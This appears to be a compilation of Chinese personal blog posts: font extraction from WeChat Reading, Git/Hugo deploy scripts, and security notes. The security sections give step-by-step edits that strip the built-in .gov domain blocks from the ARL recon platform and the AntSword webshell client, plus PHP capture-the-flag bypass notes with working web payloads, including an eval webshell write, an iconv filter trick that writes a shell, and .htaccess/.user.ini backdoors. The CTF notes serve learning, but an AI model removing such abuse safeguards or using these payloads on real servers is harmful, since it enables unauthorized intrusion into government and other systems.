但是找不到下载方法，之前在吾爱破解上是有人分享的，可惜网盘过期了。

手头没有 root 环境，但是微信读书居然有网页版，甚至不需要登录就可以看书。而且这个软件无论网页版还是手机版都非常简洁。

算是腾讯系的良心app了

r.qq.com ↗ 就是微信读书的网页版，F12打开，点击网络标签。点击某个字体下载，就能找到一条字体流量，然后下载就行了。

刚进页面的时候，有一个链接返回了所有字体的下载地址：https://weread.qq.com/feconfig/font/list?type=web_v2 ↗

AI楷体 下载：https://wwaw.lanzoub.com/iGoA53avdcsd ↗ 密码：fimb

免责声明：在根据本文改造程序后，造成对您自己或他人任何形式的损失和伤害，笔者不承担任何责任。 如您在使用本系统的过程中存在任何非法行为，您需自行承担相应后果，笔者将不承担任何法律及连带责任。 严禁用于非法测试。

ARL#

我第一次修改没改好，先看我之前错在哪

首先我是将灯塔的源文件下载下来，然后全局搜索gov

然后停止docker里运行中的灯塔，灯塔一共开了5个容器，下面代码可一次性关闭

1docker stop $(docker ps -a | grep "arl" | awk '{print $1}')

对照之前的全局搜索，将服务器里的文件一个个修改，在加入黑名单的域名前加上 # 注释。同时源文件有提示不可为空数组，所以我修改如下

注意，根据源文件，有三处需要修改，全局搜索能看到，但当我修改后，重新启动ARL仍然无法添加gov。

于是阅读了灯塔的文档后，发现了创建了arl_db

我对docker不是很了解，也不想去看volume，于是就把原来的ARL删除了，重新git clone了一份。此时跟上文一样修改一下就行。

具体步骤：

1. 修改app中config.yaml.example 89行左右的FORBIDDEN_DOMAINS，不可为空数组，那就把那三个注释了，然后加一个不存在的域名，比如kkkkkkkk.kk

2. 修改app\utils中domain.py 64行左右的if语句，将这个if语句连同下行的return都注释掉

3. 将docker中config-docker.yaml 92行左右的FORBIDDEN_DOMAINS修改与第一步一样

4. 1docker volume create arl_db      # 新建volume

   bash

5. docker-compose pull 和 docker-compose up -d 启动即可

AntSword#

一般大家安装的时候都是去 https://github.com/AntSwordProject/AntSword-Loader 下载的加载器，然后初始化默认目录，这个时候再改文件是不行的

我这里的方法是去 https://github.com/AntSwordProject/antSword 把源码下载下来，然后修改源码里modules文件夹的config.js里get urlblacklist语句，然后再重新下载加载器，使用加载器加载这个源码。修改源码时为了不出错我是把原来的域名改成了不存在的域名，如下

我这里把源码文件夹修改成了source，然后放在了加载器文件夹里，这样比较方便。

双击加载器，也就是那个AntSword.exe，启动后会初始化工作目录，此时选中源码目录，我这里是source。初始化完成后打开蚁剑即可添加任意域名的数据。

再次声明，仅用于授权的渗透测试。发文只是为了交流学习，不得用于未授权渗透测试或其他违法行为。

网络流传方法#

那种-jar和run.bat的就是曲解了问题意思，问题不是如何运行，而是如何双击jar包就可以直接运行。

普通小问题就是修改注册表，将java路径写进去后面加个 %1，如图

网上还有的是修改javaw.exe\shell\open\command下的值，可是我本地javaw.exe下面没有项，这里就不再尝试

解决方法#

我右键jar包 “打开方式→选择其他应用”，出现下图

点击那个Java(TM) Platform SE binary无效，我选择更多应用，进目录里选中java.exe也不行

上面有个继续使用此应用吸引了我的注意

那里的路径是我之前java的路径，看着很碍眼，就打算删除，进入注册表Ctrl+F，搜索上面的路径，如图

看注册表路径，这个部分控制的是jar自动打开的东西，路径并不是我现在的Java路径，那就修改为我现在的Java路径，并以-jar的方式打开

值修改为："C:\Java\bin\java.exe" -jar "%1" 如图

此时双击可以直接打开jar包，并且右键打开方式→选择其他应用，也没有那个错误的显示了

Geek Challenge 2021有一道BabyPOP，这个题其实不难的，但我知识点掌握太少了，题刷的还是少。类名::静态变量 这种调用方式遇到过，但只是利用它，而没想过改变它。

如何改变类名::静态变量？

我们先来做几个测试

1.无操作

 1<?php
 2class A{
 3	public  static $x=false;
 4	public function test(){
 5        var_dump(A::$x);
 6        var_dump($this->x);
 7	}
 8}
 9$s=new A();
10$s->test();

此时A::$x为false，$this->x为NULL

2.使用construct方法改变$this->x值

 1<?php
 2class A{
 3	public  static $x=false;
 4    public function __construct(){
 5        $this->x=true;
 6    }
 7	public function test(){
 8        var_dump(A::$x);
 9        var_dump($this->x);
10	}
11}
12$s=new A();
13$s->test();

此时A::$x为false，$this->x为true，可见使用construct方法只能改变$this->x，对A::$x无效

3.反序列化改变$this->x的值

先生成一个序列化字符串

1<?php
2class A{
3	public  static $x=false;
4    public function __construct(){
5        $this->x=true;
6    }
7}
8echo serialize(new A());

序列化字符串：O:1:"A":1:{s:1:"x";b:1;}

传入字符串

 1<?php
 2class A{
 3	public  static $x=false;
 4	public function test(){
 5        var_dump(A::$x);
 6        var_dump($this->x);
 7	}
 8}
 9$s=unserialize('O:1:"A":1:{s:1:"x";b:1;}');
10$s->test();

此时A::$x为false，$this->x为true，可见使用反序列化方法只能改变$this->x，对A::$x无效

4.在其他类中改变A::$x的值

 1<?php
 2class A{
 3	public  static $x=false;
 4	public function test(){
 5        var_dump(A::$x);
 6        var_dump($this->x);
 7	}
 8}
 9
10class B{
11    public function __construct(){
12        A::$x=true;
13        $p=new A();
14        $p->test();
15    }
16}
17$s=new B();

此时A::$x为true，$this->x因为没赋值所以为NULL若是想修改，参考测试2在A类里可以直接改

此时我们找到了修改 类名::静态变量 的方法，其实也不难想到，$this->x就是在类内引用，所以在类内改；而A::$x在类外引用，自然在类外修改更为合理。

1if(preg_match("/[0-9]/", $num)){
2        die("no no no!");
3    }
4else(intval($num)){
5        echo $flag;
6    }

preg_match第二个参数要求是字符串，如果传入数组则不会进入if语句

payload:num[]=1

2、intval函数的使用#

1intval( mixed $value, int $base = 10) : int

如果 base 是 0，通过检测 value 的格式来决定使用的进制： ◦ 如果字符串包括了 “0x” (或 “0X”) 的前缀，使用 16 进制 (hex)；否则，
◦ 如果字符串以 “0” 开始，使用 8 进制(octal)；否则，
◦ 将使用 10 进制 (decimal)。

1if($num==="4476"){
2        die("no no no!");
3    }
4if(intval($num,0)===4476){
5        echo $flag;
6    }
7else{
8        echo intval($num,0);
9    }

科学计数法也可以绕过

1intval('4476.0')===4476    小数点  
2intval('+4476.0')===4476   正负号
3intval('4476e0')===4476    科学计数法
4intval('0x117c')===4476    16进制
5intval('010574')===4476    8进制
6intval(' 010574')===4476   8进制+空格

payload:num=4476.0

3、正则表达式修饰符#

 1if(preg_match('/^php$/im', $a)){
 2    if(preg_match('/^php$/i', $a)){
 3        echo 'hacker';
 4    }
 5    else{
 6        echo $flag;
 7    }
 8}
 9else{
10    echo 'nonononono';
11}

i 不区分(ignore)大小写；m多(more)行匹配，若有换行符则以换行符分割，按行匹配

人话：外层要求任意一行是php就行，内层要求只能是php。

拿到flag是过外层，不能过内层。

payload 1:%0aphp,第一行匹配换行后有php故通过，第二个不符合php开头php结尾故不通过

paylaod 2:php%0a123,第一行是 php，符合多行匹配，内层判断：整个字符串是 php\n123，$虽然能匹配换行符，但是要求换行符在字符串的绝对末尾，这里末尾是123，并不是php，不符合

4、highlight_file路径#

highlight_file的参数可以是路径的

1if($_GET['u']=='flag.php'){
2        die("no no no");
3    }else{
4        highlight_file($_GET['u']);
5    }

if语句只比对字符串，highlight_file可以写路径，故payload有多种解法：

1/var/www/html/flag.php              绝对路径
2./flag.php                          相对路径
3php://filter/resource=flag.php      php伪协议             

5、md5比较缺陷#

PHP中hash比较是存在缺陷的，MD5无法处理数组，如果传入数组则返回NULL，两个NULL是强相等的

1if ($_POST['a'] != $_POST['b']){
2	if (md5($_POST['a']) === md5($_POST['b'])){
3		echo $flag;
4	}
5else{
6	print 'Wrong.';
7	}
8}

不同数据强相等

payload:a[]=1&b[]=2

md5弱比较，使用了强制类型转换后不再接收数组

1$a=(string)$a;
2$b=(string)$b;
3if(  ($a!==$b) && (md5($a)===md5($b)) ){
4echo $flag;
5}

md5弱比较，为0e开头的会被识别为科学记数法，结果均为0，所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。

不同数据弱相等

payload: a=QNKCDZO&b=240610708,我简记为：请你看成都足球，球是象形的O，或者用：请你看成都种藕/择偶，后面那个有很多都满足：

• 240610708
• s878926199a
• s155964671a
• s214587387a
• s1091221200a
• s1885207154a
• s1502113478a
• s1836677006a
• s1184209335a
• s1665632922a
• s532378020a

第一个纯数字的记住最好（24年06月10号麒麟宝），下面的记s1836677006a吧，像手机号

MD5等于自身，如md5($a)==$a,php弱比较会把0e开头识别为科学计数法，结果均为0，所以此时需要找到一个MD5加密前后都是0e开头的，如0e215962017（0e爱你我走咯2017）

md5强碰撞

1$a=(string)$a;
2$b=(string)$b;
3if(  ($a!==$b) && (md5($a)===md5($b)) ){
4echo $flag;
5}
6这时候需要找到两个真正的md5值相同数据
7
8a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

6、三目运算符的理解+变量覆盖#

基本三元运算符语法 condition ? value_if_true : value_if_false

比如：

1// 基本三元运算符语法
2// condition ? value_if_true : value_if_false
3
4$age = 18;
5$status = $age >= 18 ? '成人' : '未成年';
6echo $status; // 输出：成人

例题：

1$_GET?$_GET=&$_POST:'flag';
2$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
3$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
4highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

太经典了，我晕了

第一行，GET被设置，就可以用POST覆盖GET的值，否则是flag。中间两行意义不大，是flag就被COOKIE覆盖，然后被SERVER覆盖，不是flag被赋值flag然后条件成立也是被SERVER覆盖。而且这个被覆盖的GET没有指定，任意都行，第四行才是关键，等于flag就输出flag，不等于显示源码。所以只需要传入一个任意的GET保证$_GET是被设置的。然后POST一个覆盖它

payload:get：1=1 post：HTTP_FLAG=flag

7、php弱类型比较#

经典

1$allow = array();
2for ($i=36; $i < 0x36d; $i++) { 
3    array_push($allow, rand(1,$i));
4}
5if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
6    file_put_contents($_GET['n'], $_POST['content']);
7}

弱比较字符串1.php与1返回true。array_push这个函数往里填数字1，则是int类型，in_array使用的就是==弱比较。所以，如果数组里有数字1，与字符串1.php比较时是返回true的。注意，$array( 1 , ‘2’ , ‘3’ )，这里1是int型，2和3都是string类型。

这道题，每次生成随机数都包含1，所以1在数组中的可能最大。

payload:n=1.php post:content=<?php eval($_POST[1]);?>多试几次，然后蚁剑直接连

注：整型 2 与 字符串 2 弱比较是相等的。但强比较不相等

8、and与&&的区别#

1<?php
2$a=true and false and false;
3var_dump($a);  返回true
4
5$a=true && false && false;
6var_dump($a);  返回false

9、反射类ReflectionClass#

反射类还不太懂，但做过题都是直接输出这个类echo new ReflectionClass('类名');

10、is_numeric与hex2bin#

is_numeric在PHP5中是可以识别十六进制的，hex2bin参数不能带0x

11、sha1比较缺陷#

sha1无法处理数组，如下可使用a[]=1&b[]=1数组绕过

1if($a==$b){
2	if(sha1($a)==sha1($b)){
3		echo $flag;
4	}
5}

但MD5或者sha1这种如果强制类型转换后，就不接受数组了，这个时候就要找真正的编码后相同的了，如

aaroZmOk aaK1STfY aaO8zKZF aa3OFF9m

12、PHP双$（$$）的变量覆盖#

在双写$的时候，属于动态变量，就是后面的变量值作为新的变量名

1$test="a23";	$test等于a23
2$$test=456;		$$test也就等于$a23,这里相当于给$a23赋值了
3echo $test;		正常输出$test为a23
4echo $$test;	这里输出$$test，就是$a23，为456
5echo $a23;		第二行给$a23赋值了，这里正常输出

13、parse_str函数的使用#

parse_str会把字符串解析为变量，大部分是传入的多个值

1$a="q=123&p=456";
2parse_str($a);
3echo $q;				输出123
4echo $p;				输出456
5parse_str($a,$b);		第二个参数作为数组，解析的变量都存入这个数组中
6echo $b['q'];			输出123
7echo $b['p'];			输出456

php8版本必须要有第二个参数，php7不影响使用但会警告一下

14、ereg %00正则截断#

ereg PHP5.3废弃了，功能可以由preg_match代替，ereg有个截断漏洞，字符串里包括%00就只匹配%00之前的内容。所以可以前面根据正则改，后面是执行语句，如果有strrev() 这种字符串反转函数配合用更好。

15、迭代器获取当前目录#

FilesystemIterator可以获得文件目录，参数需要 . 或者具体路径，getcwd()这个函数可以获取当前文件路径，二者在一定条件下配合使用较好

16、$GLOBALS全局变量的使用#

$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

构造出var_dump($GLOBALS);可以输出全部变量值，包括自定义

17、php伪协议绕过is_file highlight_file对于php伪协议的使用 + 伪协议加协议#

is_file判断给定文件名是否为一个正常的文件，返回值为布尔类型。is_file会认为php伪协议不是文件。但highlight_file认为伪协议可以是文件。

1if(! is_file($file)){
2    highlight_file($file);
3}else{
4    echo "hacker!";
5}

如上的代码，可以传入php伪协议进行绕过并且显示含有flag的文件。若有过滤，可以换其他伪协议或改编码方式

伪协议是可以包一层协议的，用来绕过某些强制包含的过滤：参考[BSidesCF 2020]Had a bad day

1category=php://filter/convert.base64-encode/woofers/resource=flag

包了一层woofers，虽然报错，但仍然能输出

18、多写根目录绕过is_file#

在linux中/proc/self/root是指向根目录的，也就是如果在命令行中输入ls /proc/self/root，其实显示的内容是根目录下的内容 多次重复后绕过is_file的具体原理尚不清楚。如上面的代码，也可以用下面payload代替

1file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

这个按理说也是文件的，但is_file认为不是

19、trim函数的绕过+is_numeric绕过#

这两个函数一起检测时，is_numeric认为内容里有%09 %0a %0b %0c %0d %20也算数字，跟trim一起测试一下

1for ($i=0; $i <=128 ; $i++) { 
2    $x=chr($i).'1';
3   if(trim($x)!=='1' &&  is_numeric($x)){
4        echo urlencode(chr($i))."\n";
5   }
6}

除了+-.号以外还有只剩下%0c也就是换页符了，trim默认时没有剔除%0c。形如以下代码可以绕过

1if(is_numeric($num) and $num!=='36' and trim($num)!=='36'){
2    if($num=='36'){
3        echo $flag;
4    }else{
5        echo "hacker!!";
6    }
7}

payload:num=%0c36

20、绕过死亡die#

1function filter($x){
2    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
3        die('too young too simple sometimes naive!');
4    }
5}
6$file=$_GET['file'];
7$contents=$_POST['contents'];
8filter($file);
9file_put_contents($file, "<?php die();?>".$contents);

这道看了羽师傅wp，过滤了许多协议，这是取一个 UCS-2LE UCS-2BE

1payload:
2file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
3post:contents=?<hp pvela$(P_SO[T]1;)>?

这会将字符两位两位交换，file_put_contents在写入的时候会破坏那句die，但contents那句恢复原貌，可以执行

21、通过内置bash命令构造命令#

在许多命令被过滤时，可以一个字母一个字母得构造，而这些字母从内置变量里面截，比如构造nl，可以写为下面这种方式

${PATH:14:1}${PATH:5:1}

在linux中可以用~获取变量的最后几位，也可以写为${PATH:~0}${PWD:~0}，字母与0作用一样，${PATH:~A}${PWD:~A}也是nl，flag.php也过滤了的话可以用????.???，具体情况，具体对待

22、PHP变量名非法字符#

比如传入AA_BB.CC这个变量，PHP是不允许变量名中含有. 的，会默认将不合法字符替换为_,如下：

1<?php 
2var_dump($_POST);
3?> 		
4传值：AA.BB.CC=14
5输出：array(1) { ["AA_BB_CC"]=> string(2) "14" }

但输入AA[BB.CC它就只替换 [ 输出 array(1) { [“AA_BB.CC”]=> string(2) “14” }

23、gettext拓展的使用#

1var_dump(call_user_func($f1,$f2));

如以上代码，多重过滤后，f1可以为gettext，f2可以为phpinfo，如果过滤更为严格，更改ini文件里的拓展后， _() 等效于 gettext()，_() 是 gettext() 的一个内置别名

1<?php
2echo gettext("phpinfo");
3结果  phpinfo
4
5echo _("phpinfo");
6结果 phpinfo

1// 假设你想执行 phpinfo()，但由于某种原因你不能直接写 phpinfo
2call_user_func(call_user_func('_', 'phpinfo'));

• 内层的 call_user_func('_', 'phpinfo') 返回字符串 "phpinfo"。
• 外层的 call_user_func("phpinfo") 接收到了这个字符串，并将其作为函数名执行。

24、正则最大回溯次数绕过#

PHP 为了防止正则表达式的拒绝服务攻击（reDOS），给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit 回溯次数上限默认是 100 万。如果回溯次数超过了 100 万，preg_match 将不再返回非 1 和 0，而是 false。

也就是说前面100万个字母，后面是语句就好，如下面的例子

1if(preg_match('/.+?ABC/is', $f)){
2	die('bye!');
3}
4if(stripos($f, 'ABC') === FALSE){
5    die('bye!!');
6}
7echo $flag;

前面100万个字母后面ABC就可以echo $flag

25、调用类中的函数#

->用于动态语境处理某个类的某个实例 ::可以调用一个静态的、不依赖于其他初始化的类方法

也就是说双冒号不用实例化类就可以调用类中的静态方法

 1class ctfshow
 2{
 3    function __wakeup(){
 4        die("private class");
 5    }
 6    static function getFlag(){
 7        echo file_get_contents("flag.php");
 8    }
 9}
10call_user_func($_POST['ctfshow']);

这个传入ctfshow=ctfshow::getFlag即可

26、return绕过#

eval("return 1;phpinfo();");会发现是无法执行phpinfo()的，但是php中有个有意思的地方，数字是可以和命令进行一些运算的，例如 1-phpinfo();是可以执行phpinfo()命令的。

除了 1-phpinfo()，以下写法在 PHP 中同样会触发命令执行：

• 1.phpinfo() (字符串拼接)
• @phpinfo() (错误抑制符)
• ~phpinfo() (取反运算，虽然会报错但会执行)

27、php7.1+对属性不敏感#

在PHP中，PHP 7.1 及其后续的所有版本，比如7.1 - 8之间的版本对属性的修饰符不敏感。

即使属性是protected或private，传入public修饰的属性值，仍然能正常赋值。

28、异或构造命令#

未完待续……

29、.htaccess文件语法#

.htaccess文件时存在于Apache服务器中的，并且可以实现把其他类型文件作为php文件解析的功能，并且主要作用于当前目录。

所以在利用时我们可以编写.htaccess将特定后缀名当作php解析。比如：

1AddType application/x-httpd-php .jpg

当然也可以直接编写.htaccess为

1SetHandler application/x-http-php

来设置当前目录中的所有文件都使用php解析。

也可以使用FilesMatch来匹配文件名，使特定文件名的文件当作php解析

1<FilesMatch "shell">
2Sethandler application/x-httpd-php
3</FilesMatch>

30、.user.ini文件#

详情请见：user.ini文件构成的PHP后门 ↗

内容是：

1auto_prepend_file=01.jpg

这样就会把这个图片当做php文件加载，为了绕过过滤，可以使用GIF89a?等开头。

2.将写好的项目文件全部复制进去

3.打开这个文件夹，右键Git Bash Here

4.输入命令：git init

5.修改分支：git branch -M main

6.输入命令：git add .

7.输入命令：git commit -m "xxxxxxx"

8.输入命令：git remote add origin git@github.com:Tajang-ctf/仓库名.git

9.输入命令 ：git push -u origin main

2025/02/06 更新#

我部署了Hugo博客，主题自己写的，我想在站点目录下执行git push推送public目录内文件到远程仓库，但怎么设置都不行，.gitignore写了也不行，于是写了下面这个脚本：

 1@echo off
 2echo 进入D:\Blog目录
 3cd /d "D:\Blog"
 4echo 开始构建站点
 5hugo --gc --minify
 6echo 进入D:\Blog\public目录
 7cd /d "D:\Blog\public"
 8echo 添加所有文件
 9git add .
10echo 提交代码
11git -c i18n.commitEncoding=utf-8 -c i18n.logOutputEncoding=utf-8 commit -m "推送Hugo博客"
12echo 推送到Github仓库
13git push origin main
14echo 推送完成！
15pause
16@REM Blog是博客站点根目录，不需要推送，只需要推送public内文件夹，本来想着写,gitignore忽略所有文件，但排除public内文件。但是一直不成功，所以写这个脚本。
17@REM public内有git配置，分支是main，直接推送即可

本地git init时默认为master分支，虽然可以使用master:main推送，但遇到各种分支冲突，只能--force，所以还是把本地的分支改成main吧：git branch -m main

2025/08/22更新#

终端显示“推送Hugo博客”，但是commit消息是乱码。因为bat一般与windows终端的编码一致的，都是GBK，当然终端也能正常显示ANSI的bat，但是git commit -m "xxxx"里面的消息会被git当GBK读，但是git的显示是按UTF-8显示的，所以会乱码，这里使用

git -c i18n.commitEncoding=utf-8 -c i18n.logOutputEncoding=utf-8

就是临时设置它的编码和输出编码，这样终端里显示正常，github的commit信息也正常。上面代码已修改。

2025/08/26 更新#

某文章被要求下架，我删除了居然还能访问，然后发现Github的仓库里仍然有那个文章。然后一次次测试Hugo的draft草稿功能，还有删除后的渲染功能才发现：

Hugo 的草稿一般是不渲染的，但是你只要渲染过，比如hugo server -D，就会存在public/post中。就算重新生成站点或者删除草稿，渲染后的文件也不会被删除，随后被git推送到仓库。虽然页面不显示，但访问 slug 对应链接，仍然能看到，所以要删除文章，就要删除 public/post 里面的对应的文章，但是 git 时候，同步新增和修改，不同步删除。

上面这两个原因导致我无论是改成草稿，还是删除文章，访问链接都能访问文章。

删除的内容仍然保存在github中。所以我去仓库一看，都能找到去年的博客测试图片。不过我的GitHub仓库是私密的，然后被Vercel同步的，数据不会被打包。只不过被删除的资源不显示，但能访问。这其实是本地仓库新的，但是远程仓库累加很多内容。

git add -A，可以同步新增、修改、删除，但是hugo的hugo --gc --minify不会删已渲染过的草稿，所以草稿仍被推送。

所以我这里先命令清空public，清洗一次。进去再git add -A。但是rmdir /s /q public导致我的.git文件夹没了，使public变成纯静态文件夹了。。。

这里重新git init、remote之类。然后在hugo --gc --minify之前加入

1echo 清空 public 目录内容（保留 .git）
2del /q public\*
3for /d %%x in (public\*) do rmdir /s /q "%%x"

这样不删除隐藏目录，也就是.git，可以看到上传了很多东西。仓库全部更新了，但是也上传了不少东西。每次都删除public意义不大，而且上传耗时。下架文章，只要删除post（不是posts）文件夹就行，如果怕不小心写过错的tag和Category，那就每次删除标签、分类、文章三个文件夹。

代码用

1for %%d in (post categories tags) do rmdir /s /q "D:\Blog\public\%%d"

这样就算我渲染过草稿，也会在脚本里清空文件夹，重新生成内容。

注意，bat 脚本里是 %%d ，终端这样操作就要写 %d

完整博客推送代码：

 1@echo off
 2echo 进入D:\Blog目录
 3cd /d "D:\Blog"
 4
 5@REM echo 清空 public 目录内容（保留 .git）
 6@REM del /q public\*
 7@REM for /d %%x in (public\*) do rmdir /s /q "%%x"
 8
 9echo 删除 post、categories、tags 文件夹
10for %%d in (post categories tags) do rmdir /s /q "D:\Blog\public\%%d"
11@REM bat脚本里写 %%d ，终端里要写 %d
12
13echo 开始构建站点
14hugo --gc --minify
15
16echo 进入D:\Blog\public目录
17cd /d "D:\Blog\public"
18
19echo 添加所有文件
20git add -A
21
22echo 提交代码
23git -c i18n.commitEncoding=utf-8 -c i18n.logOutputEncoding=utf-8 commit -m "推送Hugo博客"
24
25echo 推送到Github仓库
26git push --force origin main
27
28echo 推送完成！
29pause
30@REM Blog是博客站点根目录，不需要推送，只需要推送public内文件夹，本来想着写,gitignore忽略所有文件，但排除public内文件。但是一直不成功，所以写这个脚本。
31@REM public内有git配置，分支是main，直接推送即可
32@REM 详情参考：https://h4cker.zip/post/39697d/

@REM是注释的意思

2025/10/06 更新（rspress类把.git文件夹都删除的项目用）#

最近用rspress翻译了个文档，这个工具主页跟vuepress很像，但是性能碾压。而且一套工具链都极其完善，不愧是服务字节跳动整个集团web端的部门。

我在翻译RAMN文档的时候，发现，他生成的静态网站文件是将doc_build文件夹清空，再往里生成文件，这和hugo、hexo都是相反的。

所以也会清空 .git 文件夹，有各种方法在项目根目录建立git，然后只上传doc_build里的内容。但是不想折腾了，就用下面这个方法吧

1git init
2git add .
3git commit -m "Initial commit"
4git remote add origin https://github.com/TajangSec/RAMN_docs.git
5git push --force origin main

2026/02/24 更新#

莫名奇妙，好像是系统更新的锅，找不到原因，脚本是GBK/ANSI，终端也是这个，但是打印乱码，脚本设置为UTF-8或utf-8-bom才行。这里貌似是编码乱七八糟加上中文导致字符解析错误。

算了，重置一版脚本：

 1@echo off
 2
 3:: ============================================================
 4:: 脚本说明：
 5:: 1. 仅推送 D:\Blog\public 目录下的内容到 GitHub
 6:: 2. public 目录内已配置 Git 远程仓库 (main 分支)
 7:: 3. 参考：https://h4cker.zip/post/39697d/
 8:: ============================================================
 9
10echo [1/6] 正在进入 D:\Blog 目录...
11cd /d "D:\Blog"
12
13echo [2/6] 清理 public 目录（保留 .git）...
14if exist public (
15    for /d %%x in (public\*) do (
16        if /i not "%%~nx"==".git" rmdir /s /q "%%x"
17    )
18    del /q public\*
19)
20
21echo [3/6] Hugo 开始构建站点...
22hugo --gc --minify
23
24echo [4/6] 进入 public 目录准备推送...
25cd /d "D:\Blog\public"
26
27echo [5/6] 提交更改...
28git add -A
29git -c i18n.commitEncoding=utf-8 -c i18n.logOutputEncoding=utf-8 commit -m "站点更新：%date% %time%"
30
31echo [6/6] 推送到 Github 仓库...
32git push --force origin main
33
34cd ..
35echo.
36echo 推送任务已完成！
37pause

2026/03/02更新#

由于更新了文章加密功能，所以在上传前有个加密脚本的运行

 1@echo off
 2
 3:: ============================================================
 4:: 脚本说明：
 5:: 1. 仅推送 D:\Blog\public 目录下的内容到 GitHub
 6:: 2. public 目录内已配置 Git 远程仓库 (main 分支)
 7:: 3. 参考：https://h4cker.zip/post/39697d/
 8:: ============================================================
 9
10echo [1/7] 正在进入 D:\Blog 目录...
11cd /d "D:\Blog"
12
13echo [2/7] 清理 public 目录（保留 .git）...
14if exist public (
15    for /d %%x in (public\*) do (
16        if /i not "%%~nx"==".git" rmdir /s /q "%%x"
17    )
18    del /q public\*
19)
20
21echo [3/7] Hugo 开始构建站点...
22hugo --gc --minify
23echo [4/7] 正在执行 AES-GCM 加密处理...
24py encrypt_process.py
25if %errorlevel% neq 0 (
26    echo 加密脚本执行失败，请检查 Python 依赖。
27    pause
28    exit /b %errorlevel%
29)
30
31echo [5/7] 进入 public 目录准备推送...
32cd /d "D:\Blog\public"
33
34echo [6/7] 提交更改...
35git add -A
36git -c i18n.commitEncoding=utf-8 -c i18n.logOutputEncoding=utf-8 commit -m "站点更新：%date% %time%"
37
38echo [7/7] 推送到 Github 仓库...
39git push --force origin main
40
41cd ..
42echo.
43echo 推送任务已完成！
44pause

2026/06/16 更新#

没想到中间迭代那么多次，现在都换 jekyll 加换电脑了。

博客备份#

博客根目录可以推送到远程的Blog-backup

 1#!/bin/zsh
 2
 3BLOG_DIR="$HOME/Blog-jekyll"
 4
 5echo "[1/3] 进入博客..."
 6cd "$BLOG_DIR" || exit
 7
 8echo "[2/3] 添加文件..."
 9# 只有有变更时才提交
10if ! git diff --quiet || ! git diff --cached --quiet; then
11  git add -A
12  git commit -m "博客备份：$(date '+%Y-%m-%d %H:%M:%S')"
13else
14  echo "⚠️  无变更，跳过提交"
15fi
16
17echo "[3/3] 推送..."
18git push origin main  # 想替换全部文件为最新，加 --force
19
20echo "完成 ✔"

站点推送#

由于换了 mac，很多东西都简化了，没有以前那么复杂，而且 jekyll 也没什么附加的东西，目前这个主题除了没有加密功能，其他都挺好。

 1#!/bin/zsh
 2
 3BLOG_DIR="$HOME/Blog-jekyll"
 4SITE_DIR="$BLOG_DIR/_site"
 5
 6echo "[1/3] 构建 Jekyll..."
 7cd "$BLOG_DIR" || exit
 8bundle exec jekyll build
 9
10echo "[2/3] 提交静态文件..."
11cd "$SITE_DIR" || exit
12
13# 只有有变更时才提交
14if ! git diff --quiet || ! git diff --cached --quiet; then
15  git add -A
16  git commit --allow-empty -m "站点更新：$(date '+%Y-%m-%d %H:%M:%S')"
17else
18  echo "⚠️  无变更，跳过提交"
19fi
20
21echo "[3/3] 推送..."
22git push origin main  # 想替换全部文件为最新，加 --force
23
24echo "完成 ✔"